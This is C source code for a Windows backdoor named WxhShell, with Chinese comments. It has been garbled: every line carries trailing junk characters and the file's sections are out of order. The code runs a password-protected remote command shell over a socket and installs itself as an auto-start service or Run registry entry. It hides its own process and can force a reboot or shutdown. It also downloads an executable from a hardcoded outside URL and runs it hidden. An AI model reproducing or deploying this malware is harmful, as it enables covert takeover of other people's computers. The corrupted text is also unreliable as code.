    ExitThread(0); 5u\si4BL{  
    } Wb"*9q06  
    break; !#nlWX :~  
    } p_jDnb#  
  // 关机 t "J"G@1)  
  case 'd': { zZ|Si  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qlSc[nEk  
    if(Boot(SHUTDOWN)) xh\{ dUPA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KFd"JtPg  
    else { h&Ehp   
    closesocket(wsh); Q- %Q7n'c  
    ExitThread(0); ^Q]*CU+C  
    } s45Y8!c  
    break; 78\:{i->ta  
    } (@dh"=Lt\  
  // 获取shell Qcz7IA  
  case 's': { Poacd;*  
    CmdShell(wsh); rs3Uk.Z^ '  
    closesocket(wsh); M? oK@i  
    ExitThread(0); EW{z?/  
    break; +xwz.:::  
  } W$0<a@  
  // 退出 fi%u]  
  case 'x': { 6v0^'}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OZ1+`4 v  
    CloseIt(wsh); O edL?4  
    break; tH<v1LEZN  
    } ZgLO[Bj  
  // 离开 4?X#d)L(  
  case 'q': { . oUaq|O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qbkvwL9  
    closesocket(wsh); dx@#6Fhy  
    WSACleanup(); t#~r'5va  
    exit(1); X|H%jdta  
    break; |8h<Ls_  
        } F9ry?g=h  
  } x{C=rdp__  
  } ?MuM _6  
qu8i Jq  
  // 提示信息 REhXW_x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2"NRnCx *  
} LKG],1n-  
  } FK{ YRt  
_$By c(.c  
  return; (j+C&*u  
} zGu(y@o  
gqJ&Q t#f  
// shell模块句柄 %FQMB  
int CmdShell(SOCKET sock)  FZnkQ  
{ O: sjf?z  
STARTUPINFO si; K GkzE  
ZeroMemory(&si,sizeof(si)); 'bkecC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {SW104nb&#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |,5b[Y"Dt  
PROCESS_INFORMATION ProcessInfo; 4-=>># P  
char cmdline[]="cmd"; \w^iSK-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t-lWvxXe  
  return 0; nbw&+dcJ8  
} tOwwgf  
"tUXYY  
// 自身启动模式 LS4c|Dv  
int StartFromService(void) oDx*}[/  
{ +GgWd=X.Y  
typedef struct r~u/M0h `  
{ BXaA#} ;e  
  DWORD ExitStatus; ,>2ijk#  
  DWORD PebBaseAddress; EKk~~PhW 8  
  DWORD AffinityMask; {.z2n>1J{T  
  DWORD BasePriority; e6k}-<W*q  
  ULONG UniqueProcessId; |t|+pBB  
  ULONG InheritedFromUniqueProcessId; z['>`Kt  
}   PROCESS_BASIC_INFORMATION; *4r 1g+0  
9">}@1k  
PROCNTQSIP NtQueryInformationProcess; WYwsTsG{_  
NyJU?^f&v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; abWmPi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 18Pc4~ >0  
=XJ SE+ 7  
  HANDLE             hProcess; Q0!gTV  
  PROCESS_BASIC_INFORMATION pbi; 2;5EH 0  
!k||-Q &  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V{$(#r  
  if(NULL == hInst ) return 0; ?y'KX]/  
]}8<h5h)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ._-^ 58[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2<yi8O\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4 Yc9Ij  
LCRreIIgZ  
  if (!NtQueryInformationProcess) return 0; @W=#gRqQPy  
sZPPS&KoP3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /lm;.7_J+  
  if(!hProcess) return 0; K-)_1  
q>%KIBh(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wtetB')yD  
Y1H8+a5@  
  CloseHandle(hProcess); 5l2Ph4(  
22`W*e@6h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p< '#f,o  
if(hProcess==NULL) return 0; ~o= Sxaf  
oU$Niw9f  
HMODULE hMod;  {IYfq)c  
char procName[255]; gf2l19aP  
unsigned long cbNeeded; }/B  
={W;8BUV%^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "dXRUg"  
4!d&Zc>C4  
  CloseHandle(hProcess); Q{UR3U'Q  
bAeC=?U  
if(strstr(procName,"services")) return 1; // 以服务启动 yW^[{)V 3%  
#c'yAa  
  return 0; // 注册表启动 F5gL-\6  
} ?7@B$OlU  
j=r`[B m  
// 主模块 o  <0f  
int StartWxhshell(LPSTR lpCmdLine) 8V;@yzI ha  
{ {tV)+T  
  SOCKET wsl; %8>s:YG  
BOOL val=TRUE; 4gb2$"!  
  int port=0; &kHp}\  
  struct sockaddr_in door; EJ.oq*W!*J  
he wX)  
  if(wscfg.ws_autoins) Install(); x %L2eXL  
k8F<j)"  
port=atoi(lpCmdLine); I0(BKMp&  
(8qMF{  
if(port<=0) port=wscfg.ws_port; 5CueD]  
yN5g]U. Q  
  WSADATA data; 4cRF3$a md  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $}jp=?,t  
7$<.I#x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bA@!0,m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tU >wRw=d  
  door.sin_family = AF_INET; G6w&C^J*8>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A9Q!V01_  
  door.sin_port = htons(port); F.HD;C-;(  
V'#dY~E-P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _~&6Kb^*  
closesocket(wsl); *$Z}v&-0k  
return 1; iN"kv   
} JC(rSs*  
4v T!xn  
  if(listen(wsl,2) == INVALID_SOCKET) { 8s/gjEwA  
closesocket(wsl); r )ZUeHt}w  
return 1; }Xr-xh \v  
} w0)V3  
  Wxhshell(wsl); 4[ M!x  
  WSACleanup(); {2vk<  
Ds9pXgU( Z  
return 0; od{Y` .<  
^o_2=91  
} =dHM)OXD"  
d=o|)kV  
// 以NT服务方式启动 7cr@;%#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V8ZE(0&II}  
{ wdS^`nz|  
DWORD   status = 0; );_g2=:#  
  DWORD   specificError = 0xfffffff; ]@Y8! ,  
b4Br!PL@G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5B#q/d1/a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a*$to/^r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mv O!Y  
  serviceStatus.dwWin32ExitCode     = 0; }=z_3JfO  
  serviceStatus.dwServiceSpecificExitCode = 0; Y;8Ys&/t  
  serviceStatus.dwCheckPoint       = 0; _7'9omq@  
  serviceStatus.dwWaitHint       = 0; 8*!<,k="9  
mTz %;+|L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0; 2i"mzS\  
  if (hServiceStatusHandle==0) return; :'91qA%Wr  
NeAkJG=<  
status = GetLastError(); j2c -01}  
  if (status!=NO_ERROR) S_/9eI~X  
{ XAW$"^p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 15+>W4v  
    serviceStatus.dwCheckPoint       = 0; |!E>I  
    serviceStatus.dwWaitHint       = 0; dqnH7okZ  
    serviceStatus.dwWin32ExitCode     = status; y  >r7(qg  
    serviceStatus.dwServiceSpecificExitCode = specificError; OSQZ5:g|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S<rdPS*P  
    return; Ehi)n)HhG"  
  } k{;"Aj:iL  
HS XS%v/Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -G e5gQ=  
  serviceStatus.dwCheckPoint       = 0; rZ2X$FO@  
  serviceStatus.dwWaitHint       = 0; b6:A-jb*I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ef{rY|E  
} @wy|l)%  
P?p>'avP  
// 处理NT服务事件,比如:启动、停止 J( JsfU4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G3'>KMa.  
{ ?YWfoH4mS  
switch(fdwControl) , (dg]7  
{ bO 2>ced  
case SERVICE_CONTROL_STOP: GmP)"@O](;  
  serviceStatus.dwWin32ExitCode = 0; :i_818h!?[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4e~^G  
  serviceStatus.dwCheckPoint   = 0; i]J*lM7'  
  serviceStatus.dwWaitHint     = 0; g}"`@H(9r3  
  { d9>*a$x;/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k"D6Vyy`  
  } X TEC0s"F  
  return; I=o[\?u*_  
case SERVICE_CONTROL_PAUSE: to,DN2rN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ("Z;)s4q  
  break; s0uI;WMg  
case SERVICE_CONTROL_CONTINUE: SF$7WG3Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >$S P2(Y~  
  break; &[:MTK?x!  
case SERVICE_CONTROL_INTERROGATE: ;Pf |\q  
  break; QEKSbxL\W  
}; i!+D ,O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BLZ#vJR  
} 6r! Y ~\@  
4 AZ~<e\  
// 标准应用程序主函数 T Po%zZo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b&[9m\AX`  
{ aSdh5?  
H e ABU(o4  
// 获取操作系统版本 !>fYD8Ft,  
OsIsNt=GetOsVer(); yTzP{I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5v <>%=  
A<P3X/i  
  // 从命令行安装 bwo-9B  
  if(strpbrk(lpCmdLine,"iI")) Install(); KiYO,nD;\  
1c_gh12  
  // 下载执行文件 q9fCoz  
if(wscfg.ws_downexe) { ' QGacV   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B?A c  
  WinExec(wscfg.ws_filenam,SW_HIDE); KwK[)Cvv  
} x{{QS$6v  
!$Aijd s5  
if(!OsIsNt) { ]T|9>o!  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xou1X$$z  
HideProc(); [p[nK=&r  
StartWxhshell(lpCmdLine); j(^ot001%v  
} (Cjnf a 2  
else ^7M hnA  
  if(StartFromService()) n@n608  
  // 以服务方式启动 #:C;VAAp  
  StartServiceCtrlDispatcher(DispatchTable); ASmMj;>UM  
else <"A|Xv'Q  
  // 普通方式启动 ^?PU:eS  
  StartWxhshell(lpCmdLine); Z0&^U#]  
S^q)DuF5!  
return 0; +v4P9V|s  
} j_N><_Jc  
=OfU#i"c  
-YM#.lQ  
)Y%>t  
=========================================== 5tPBTS<<"L  
K$OxeJP?F  
-c-af%xD  
.K`OEdr<  
wKF #8Y  
- s[=$pDU  
" piYv }4;:(  
OQzJRu)mF#  
#include <stdio.h> F*V<L   
#include <string.h> <!b~7sZkTc  
#include <windows.h> }$M 2XF  
#include <winsock2.h> '=MaO@ @  
#include <winsvc.h> fxfzi{}uj  
#include <urlmon.h> r @C2zF7  
P^m+SAAB  
#pragma comment (lib, "Ws2_32.lib") z'@j9vT  
#pragma comment (lib, "urlmon.lib") n8<o*f&&9>  
5/x"!Jk  
#define MAX_USER   100 // 最大客户端连接数 Rs+rlJq  
#define BUF_SOCK   200 // sock buffer d"3S[_U  
#define KEY_BUFF   255 // 输入 buffer tHNvb\MR$  
EvZ;i^.8LS  
#define REBOOT     0   // 重启 *9:oTN  
#define SHUTDOWN   1   // 关机 LhM{LUi  
l`lo5:w  
#define DEF_PORT   5000 // 监听端口 KrO oxrDcp  
dw %aoe  
#define REG_LEN     16   // 注册表键长度 f[,9WkC  
#define SVC_LEN     80   // NT服务名长度 vZV+24YWb  
 .G}E  
// 从dll定义API D|8vS8p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m-f"EFmP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A ?"(5da.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _&S?uz m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u\YH,  
 V|=PaO  
// wxhshell配置信息 B$~oZ'4v  
struct WSCFG { whb|N2  
  int ws_port;         // 监听端口 DLMG<4Cd~  
  char ws_passstr[REG_LEN]; // 口令 e$F]t *)Xa  
  int ws_autoins;       // 安装标记, 1=yes 0=no z;1y7W!v  
  char ws_regname[REG_LEN]; // 注册表键名 =Y`P}vI]w%  
  char ws_svcname[REG_LEN]; // 服务名 Rz}?@zh_8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n}==  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \PS{/XK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M99#\0=/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i`o}*`//  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KTn,}7vZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8 vNgePn  
gfQ&U@N  
}; "zW3d KVc  
#PnuR2s7.  
// default Wxhshell configuration S,T?(lSl  
struct WSCFG wscfg={DEF_PORT,  }* iag\  
    "xuhuanlingzhe", ?wE@9 g A  
    1, Zu(eYH=Q  
    "Wxhshell", 8@%Xd^  
    "Wxhshell", [% chN /  
            "WxhShell Service", }Ictnb  
    "Wrsky Windows CmdShell Service", "=4`RM  
    "Please Input Your Password: ", HZMs],GX  
  1, QX (x6y>Q  
  "http://www.wrsky.com/wxhshell.exe", F-}-/N]o q  
  "Wxhshell.exe" :LRR\v0HM  
    }; TJ(PTB;  
_'&N01  
// 消息定义模块 '!`%!Xg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e;b,7Qw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L(!4e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #!p=P<4M  
char *msg_ws_ext="\n\rExit."; 6cof Zc$  
char *msg_ws_end="\n\rQuit."; >}QRMn|@H  
char *msg_ws_boot="\n\rReboot..."; w?CbATQ   
char *msg_ws_poff="\n\rShutdown..."; 0P`wh=")  
char *msg_ws_down="\n\rSave to "; `mPmEV<  
^_4TDC~h  
char *msg_ws_err="\n\rErr!"; '^'4C'J  
char *msg_ws_ok="\n\rOK!"; 1@IRx{v$  
 j`^':!  
char ExeFile[MAX_PATH]; cT{iMgdI?  
int nUser = 0; AoHA+>&U  
HANDLE handles[MAX_USER]; d7N;F a3yL  
int OsIsNt; Du3OmXMk  
BqZ^I eC$  
SERVICE_STATUS       serviceStatus; #QJ  mAA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }GvoQ#N  
G%)?jg@EA  
// 函数声明 >Bp%~8f  
int Install(void); xO'I*)  
int Uninstall(void); ~45u a  
int DownloadFile(char *sURL, SOCKET wsh); E#"QaI8`  
int Boot(int flag); \C.%S +u  
void HideProc(void); 1A^iUC5)  
int GetOsVer(void); i} 96, {  
int Wxhshell(SOCKET wsl); P8NKp O\  
void TalkWithClient(void *cs); >JT{~SRB|Y  
int CmdShell(SOCKET sock); U`q[5U"  
int StartFromService(void); ^B@4 w\t  
int StartWxhshell(LPSTR lpCmdLine); zjgK78!<  
gd<8RVA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oTZ?x}Z1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "?,3O2t  
FD(zj^*  
// 数据结构和表定义 6QdNGpN  
SERVICE_TABLE_ENTRY DispatchTable[] = O%v(~&OSl  
{ ^ )N[x''a  
{wscfg.ws_svcname, NTServiceMain}, ^&<~6y}U^  
{NULL, NULL} lEi,duS)  
}; ~WuElns  
"@B! 5s0  
// 自我安装 <[C 9F1]Ya  
int Install(void) "_+X#P x  
{ Ku LZg  
  char svExeFile[MAX_PATH]; wo2^,Y2z+  
  HKEY key; g$VcT\X  
  strcpy(svExeFile,ExeFile); o^~6RZ  
Gb 61X6  
// 如果是win9x系统,修改注册表设为自启动 &Pxt6M\d  
if(!OsIsNt) { i=_leC)rl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sb4)@/Q7j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %u }|4BXoh  
  RegCloseKey(key); IyG5Rj2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T Uhp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *pP"u::S  
  RegCloseKey(key); 0kgK~\^,.O  
  return 0; YN] w_=  
    } }7hpx!s,  
  } j5z, l  
} *F:]mgg  
else { Y^LFJB|b4  
8DTk<5mW~  
// 如果是NT以上系统,安装为系统服务 1W~-C B>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `.a L>hf  
if (schSCManager!=0) F$r8 hj`  
{ 567ot|cc  
  SC_HANDLE schService = CreateService 5!#"8|oY  
  ( el!Bi>b9c!  
  schSCManager, w|WZEu:0|  
  wscfg.ws_svcname, ^a; V-US  
  wscfg.ws_svcdisp, 4W9!_:j(j  
  SERVICE_ALL_ACCESS, *p?b"{_a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q`1t*<sk  
  SERVICE_AUTO_START, 7qE V5!  
  SERVICE_ERROR_NORMAL, X2@mQ&n  
  svExeFile, \$;\,p p  
  NULL, P@9>4}r$  
  NULL, ,<hXNN  
  NULL, )I]E%ut{4,  
  NULL, Tp`)cdcC[  
  NULL >|0yH9af  
  ); N)Qj^bD!  
  if (schService!=0) ,b>cy&ut  
  { e"r'z n  
  CloseServiceHandle(schService); UQ|0Aqwq  
  CloseServiceHandle(schSCManager); PL~k `L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >&^w\"'  
  strcat(svExeFile,wscfg.ws_svcname); :Tuy]]k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gZM{]GQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L:Wy- Z  
  RegCloseKey(key); H[@}ri<  
  return 0; R'dF<&Kj|  
    } 3JW9G04.  
  } fH`1dU  
  CloseServiceHandle(schSCManager); C*Ws6s>+z  
} BT>*xZLpS  
} Aog 3d\1$  
0nx <f>n  
return 1; C,2IET  
} h83ho  
D\({]oj]  
// 自我卸载 >[|:cz  
int Uninstall(void) #*S/Sh?Q  
{ 1bzPBi  
  HKEY key; ;ok];4`a  
5B'-&.Aj+  
if(!OsIsNt) { %c^]Rdl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h>mQ; L  
  RegDeleteValue(key,wscfg.ws_regname); A!^K:S:@  
  RegCloseKey(key); /bCrpcH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YD@V2gK  
  RegDeleteValue(key,wscfg.ws_regname); tB(Q-c  
  RegCloseKey(key); !c6 lP'U  
  return 0; 1<\cMY6  
  } p00\C  
} ac+7D:X  
} l^$:R~gS  
else { PNc200`v4_  
vJ"@#$.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9q* sR1  
if (schSCManager!=0) Br#]FB|tD  
{ ] {NY;|&I'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,6t0w|@-k  
  if (schService!=0) aF'Ik XG d  
  { g?=B{V  
  if(DeleteService(schService)!=0) { Fi5,y;]R  
  CloseServiceHandle(schService); Ce5 }+A}  
  CloseServiceHandle(schSCManager); gFDP:I/`  
  return 0; ?\vJ8H[bD  
  } E}NX+ vYF  
  CloseServiceHandle(schService); CKh-+8j  
  } 7%7_i%6wP  
  CloseServiceHandle(schSCManager); tm]75*?  
}  g<,v2A  
} Eq.c;3  
1Za\T?V  
return 1; I">z#@CT  
} P:*'x9`  
ZlO@PlZ)  
// 从指定url下载文件 uaU!V4-  
int DownloadFile(char *sURL, SOCKET wsh) 7ZZSAI  
{ 2A`EFk7_X  
  HRESULT hr; 42m`7uQ  
char seps[]= "/"; 8 6L&u:o:  
char *token; h)y"?Jj  
char *file; :hMuxHr  
char myURL[MAX_PATH]; /_}v|E0  
char myFILE[MAX_PATH]; H>M%5bj  
(^Nf;E  
strcpy(myURL,sURL); &q":o 'q  
  token=strtok(myURL,seps); d+&V^qLJ  
  while(token!=NULL) m k -" U7;  
  { v0$6@K;M4G  
    file=token; 9MHb<~F  
  token=strtok(NULL,seps); ny=CtU!z  
  } (Mtc&+n{  
up:e0di{  
GetCurrentDirectory(MAX_PATH,myFILE); o.Cj+`0}5  
strcat(myFILE, "\\"); .mok.f<G_m  
strcat(myFILE, file); m%Ef]({I  
  send(wsh,myFILE,strlen(myFILE),0); 2&tGJq-E  
send(wsh,"...",3,0); u|QfCwQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6eS#L21*  
  if(hr==S_OK) :=i0$k<E/  
return 0; /au\OBUge  
else q1?2 U<  
return 1; siD Sm  
k*-+@U"+  
} 5n9F\T5  
N}dJ)<(2~  
// 系统电源模块 D J<c  
int Boot(int flag) ]AHUo;(f%  
{ J|'T2g  
  HANDLE hToken; o1n c.2/0J  
  TOKEN_PRIVILEGES tkp; _puQX@i  
gsU&}R1*h  
  if(OsIsNt) { 8"<!8Img  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W B!$qie\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (yXVp2k  
    tkp.PrivilegeCount = 1; f ~Fus  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0 \h2&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ft>ixn  
if(flag==REBOOT) { R#T6I i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RuXK` y Sv  
  return 0; CLYcg$V  
} nEGku]pCH{  
else { -Z;:_"&9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jhj]rsGk  
  return 0; H/L3w|2+  
} Z2$-},i  
  } +pF z&)?  
  else { N7;E 2 X  
if(flag==REBOOT) { ZDVaKDqZ_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .4^Paxz  
  return 0; 3[e@mcO  
} 1:&$0jU&U  
else { u5,IH2BU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =Wjm_Rvk9  
  return 0; >yWJk9h f  
} 9Q.j <  
} zc2,Mn2  
yqBu7E$X  
return 1; I 9u=RI s  
} Jz|(B_U  
xv%}xeE V  
// win9x进程隐藏模块 RV($G8U  
void HideProc(void) k[zf`x^  
{ ?.Kl/8ml  
>eEf|tKO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FCP5EN  
  if ( hKernel != NULL ) A{c6XQR~z  
  { |j!D _j#U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XG [%oL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZtvU~'Q  
    FreeLibrary(hKernel); S3=J1R,  
  } ,2cw9?<  
+Rh'VZJs  
return; % idnm  
} @ =,J6  
$"UAJ-  
// 获取操作系统版本 H{}6`;W  
int GetOsVer(void) ]':C~-RV{  
{ (%r:PcGMEV  
  OSVERSIONINFO winfo; u3<])}I'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WkO .  
  GetVersionEx(&winfo); I3L1|!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x[?_F  
  return 1; wXZ-%,R -D  
  else Zn^E   
  return 0; \GWq0z&  
} + X ?jf.4  
`C()H@;  
// 客户端句柄模块 gTq-\k(  
int Wxhshell(SOCKET wsl) +amvQ];?Q8  
{ awawq9)Y  
  SOCKET wsh; O@$hG8:  
  struct sockaddr_in client; JBYQ7SsAS0  
  DWORD myID; dKMuo'H'%  
@V-ZV  
  while(nUser<MAX_USER) F-R`'{ ka  
{ c49#aN R  
  int nSize=sizeof(client);  AH} nTm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  h43k   
  if(wsh==INVALID_SOCKET) return 1; Y9%yjh  
8jZYy!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F?dTCa  
if(handles[nUser]==0) 980+Y  
  closesocket(wsh); ^*r${Nj  
else '|cuVxcE55  
  nUser++; B8nXWi  
  } cshUxabB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); td m{ V st  
1dq.UW\  
  return 0; Rsulp#['  
} ENmo^O#,u  
e}?t[aK4#  
// 关闭 socket P``hw=L  
void CloseIt(SOCKET wsh) d-* 9tit  
{ J^XH^`'  
closesocket(wsh); hw7_8pAbh  
nUser--; T-@pTJ !K9  
ExitThread(0); >}I}9y+  
} f^]AyU;F:  
U!'lc} 5  
// 客户端请求句柄 w Vof_'F1  
void TalkWithClient(void *cs) [X I5Bu ~  
{ Cse0!7_T  
_E%[D(  
  SOCKET wsh=(SOCKET)cs; lz*PNT{E  
  char pwd[SVC_LEN]; :X!(^ a;]  
  char cmd[KEY_BUFF]; b^xf ,`D  
char chr[1]; ~ U1iB  
int i,j; EvYw$ j  
<Kh\i'8  
  while (nUser < MAX_USER) { ZJ 4"QsF  
A/QVotcU  
if(wscfg.ws_passstr) { YO Y+z\Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U %4g:s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Z Z$ 1E  
  //ZeroMemory(pwd,KEY_BUFF); DYl^6 ]  
      i=0; dbLX}>  
  while(i<SVC_LEN) { 3UaP7p+d  
j\vK`.z  
  // 设置超时 daorKW4  
  fd_set FdRead; =.%ZF]Oe+#  
  struct timeval TimeOut; 1t0F J@)*  
  FD_ZERO(&FdRead); EK'&S=]  
  FD_SET(wsh,&FdRead); `~RV  
  TimeOut.tv_sec=8; wx!*fy4hL  
  TimeOut.tv_usec=0; V ;6M[ic}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $i1A470C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \(C W?9)  
}.'%gJrS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !vB%Q$!x  
  pwd=chr[0]; 5B2,=?+o  
  if(chr[0]==0xd || chr[0]==0xa) { Yyo|W;a]  
  pwd=0; d{he  
  break; EH:1Z*|Z{\  
  } q^cFD  
  i++; C0W~Tk\C2  
    } v Y\O=TZT  
KH7]`CU  
  // 如果是非法用户,关闭 socket 2mO#vTX4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c>R(Fs|6  
} (w- u"1&  
q!TbM"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =4 D_-Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $P-m6  
IX(yajc[~M  
while(1) { =, 0a3D6b  
9e&#;6l  
  ZeroMemory(cmd,KEY_BUFF); F:g{rm[  
3azc`[hl  
      // 自动支持客户端 telnet标准   )eEvyU  
  j=0; p^:Lj9Qax  
  while(j<KEY_BUFF) { #R8l"]fxr?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L1xD$wl  
  cmd[j]=chr[0]; iK]g3ew|  
  if(chr[0]==0xa || chr[0]==0xd) { ^zJ. W  
  cmd[j]=0; OW}A48X[+  
  break; StL[\9~:  
  } ]*@$%iCPE  
  j++; !VHIl&Mos  
    } t/1NTa  
_pGviGR  
  // 下载文件 ,OCTm%6e  
  if(strstr(cmd,"http://")) { xdM#>z`;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2P ?Iu&  
